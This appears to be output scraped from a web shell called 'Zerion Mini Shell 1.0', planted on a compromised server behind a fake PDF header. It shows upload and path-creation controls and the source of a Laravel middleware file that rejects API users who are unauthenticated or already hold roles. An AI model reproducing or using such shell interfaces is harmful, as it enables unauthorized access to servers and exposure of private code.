%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/geotechnics/api/app/Http/Middleware/
Upload File :
Create Path :
Current File : /var/www/html/geotechnics/api/app/Http/Middleware/NoRoleMiddleware.php

<?php

namespace App\Http\Middleware;

use App\Models\User;
use Closure;
use Illuminate\Foundation\Http\Middleware\VerifyCsrfToken as Middleware;
use Spatie\Permission\Exceptions\UnauthorizedException;


class NoRoleMiddleware extends Middleware
{
    public function handle($request, Closure $next)
    {
        /** @var User $user */
        $user = auth()
            ->guard('api')
            ->user();
        if (!$user || $user->roles()
                            ->count() > 0) {
            throw new UnauthorizedException(401);
        }
        return $next($request);
    }

}

Zerion Mini Shell 1.0